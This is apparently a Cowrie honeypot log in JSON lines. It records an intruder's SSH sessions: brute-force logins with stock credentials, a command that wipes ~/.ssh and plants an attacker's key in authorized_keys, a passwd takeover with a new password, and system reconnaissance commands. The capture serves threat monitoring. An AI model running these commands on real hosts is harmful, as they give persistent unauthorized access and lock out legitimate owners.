{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:11:10.463771Z","src_ip":"150.95.157.171","session":"45079085ce83","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:11:10.636612Z","src_ip":"150.95.157.171","session":"45079085ce83","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:11:10.641106Z","src_ip":"150.95.157.171","session":"45079085ce83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.95.157.171","src_port":32864,"dst_ip":"10.17.0.5","dst_port":22,"session":"421776dff714","protocol":"ssh","message":"New connection: 150.95.157.171:32864 (10.17.0.5:22) [session: 421776dff714]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:11:10.793797Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:11:10.802231Z","src_ip":"150.95.157.171","session":"421776dff714","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:11:10.956589Z","src_ip":"150.95.157.171","session":"421776dff714","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:11:11.590274Z","src_ip":"150.95.157.171","session":"421776dff714","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:11:12.753102Z","src_ip":"150.95.157.171","session":"421776dff714","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.95.157.171","src_port":33470,"dst_ip":"10.17.0.5","dst_port":22,"session":"d74f311a128b","protocol":"ssh","message":"New connection: 150.95.157.171:33470 (10.17.0.5:22) [session: d74f311a128b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:11:12.905749Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:11:12.911780Z","src_ip":"150.95.157.171","session":"d74f311a128b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:11:13.083314Z","src_ip":"150.95.157.171","session":"d74f311a128b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:11:13.762179Z","src_ip":"150.95.157.171","session":"d74f311a128b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:11:14.929320Z","src_ip":"150.95.157.171","session":"d74f311a128b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:11:15.154687Z","src_ip":"150.95.157.171","session":"45079085ce83","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:11:15.158779Z","src_ip":"150.95.157.171","session":"45079085ce83","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:11:15.329706Z","src_ip":"150.95.157.171","session":"45079085ce83","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:11:15.692108Z","src_ip":"150.95.157.171","session":"45079085ce83","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"admin#123\\nbTGgfgruMWGl\\nbTGgfgruMWGl\"|passwd|bash","message":"CMD: echo -e \"admin#123\\nbTGgfgruMWGl\\nbTGgfgruMWGl\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:11:15.695534Z","src_ip":"150.95.157.171","session":"45079085ce83","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:11:15.699229Z","src_ip":"150.95.157.171","session":"45079085ce83","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:11:15.703866Z","src_ip":"150.95.157.171","session":"45079085ce83","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/57135df97a999da7581f798455c4b8751327b5d6aef4784ff71891bdec817fe6","size":32,"shasum":"57135df97a999da7581f798455c4b8751327b5d6aef4784ff71891bdec817fe6","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/57135df97a999da7581f798455c4b8751327b5d6aef4784ff71891bdec817fe6 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:11:15.870799Z","src_ip":"150.95.157.171","session":"45079085ce83","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:11:16.230412Z","src_ip":"150.95.157.171","session":"45079085ce83","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"admin#123\\nbTGgfgruMWGl\\nbTGgfgruMWGl\\n\"|passwd","message":"CMD: echo \"admin#123\\nbTGgfgruMWGl\\nbTGgfgruMWGl\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:11:16.234236Z","src_ip":"150.95.157.171","session":"45079085ce83","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/4cb3429b55cfb2df4c314c89bdfa107d8c454614360ee8442b7ed6289b407dd7","size":25,"shasum":"4cb3429b55cfb2df4c314c89bdfa107d8c454614360ee8442b7ed6289b407dd7","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/4cb3429b55cfb2df4c314c89bdfa107d8c454614360ee8442b7ed6289b407dd7 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:11:16.403203Z","src_ip":"150.95.157.171","session":"45079085ce83","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:11:16.807562Z","src_ip":"150.95.157.171","session":"45079085ce83","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:11:16.811455Z","src_ip":"150.95.157.171","session":"45079085ce83","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:11:16.974173Z","src_ip":"150.95.157.171","session":"45079085ce83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":58.2277717590332,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:11:17.139142Z","src_ip":"134.209.8.29","session":"cd59a2b5a239","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:11:17.339640Z","src_ip":"150.95.157.171","session":"45079085ce83","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:11:17.343559Z","src_ip":"150.95.157.171","session":"45079085ce83","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":26,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:11:17.516500Z","src_ip":"150.95.157.171","session":"45079085ce83","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:11:17.912568Z","src_ip":"150.95.157.171","session":"45079085ce83","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:11:17.917070Z","src_ip":"150.95.157.171","session":"45079085ce83","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:11:17.920555Z","src_ip":"150.95.157.171","session":"45079085ce83","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:11:18.081899Z","src_ip":"150.95.157.171","session":"45079085ce83","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:11:18.450823Z","src_ip":"150.95.157.171","session":"45079085ce83","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:11:18.454704Z","src_ip":"150.95.157.171","session":"45079085ce83","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:11:18.621049Z","src_ip":"150.95.157.171","session":"45079085ce83","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:11:18.982044Z","src_ip":"150.95.157.171","session":"45079085ce83","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:11:18.985663Z","src_ip":"150.95.157.171","session":"45079085ce83","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:11:19.150306Z","src_ip":"150.95.157.171","session":"45079085ce83","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:11:19.513474Z","src_ip":"150.95.157.171","session":"45079085ce83","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:11:19.517437Z","src_ip":"150.95.157.171","session":"45079085ce83","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:11:19.676911Z","src_ip":"150.95.157.171","session":"45079085ce83","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:11:20.039400Z","src_ip":"150.95.157.171","session":"45079085ce83","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:11:20.042909Z","src_ip":"150.95.157.171","session":"45079085ce83","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:11:20.210156Z","src_ip":"150.95.157.171","session":"45079085ce83","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:11:20.591923Z","src_ip":"150.95.157.171","session":"45079085ce83","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:11:20.595548Z","src_ip":"150.95.157.171","session":"45079085ce83","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:11:20.767037Z","src_ip":"150.95.157.171","session":"45079085ce83","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:11:21.135494Z","src_ip":"150.95.157.171","session":"45079085ce83","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:11:21.140442Z","src_ip":"150.95.157.171","session":"45079085ce83","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:11:21.306821Z","src_ip":"150.95.157.171","session":"45079085ce83","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:11:21.669792Z","src_ip":"150.95.157.171","session":"45079085ce83","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:11:21.673386Z","src_ip":"150.95.157.171","session":"45079085ce83","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:11:21.833627Z","src_ip":"150.95.157.171","session":"45079085ce83","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:11:22.208310Z","src_ip":"150.95.157.171","session":"45079085ce83","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:11:22.212314Z","src_ip":"150.95.157.171","session":"45079085ce83","protocol":"ssh"}
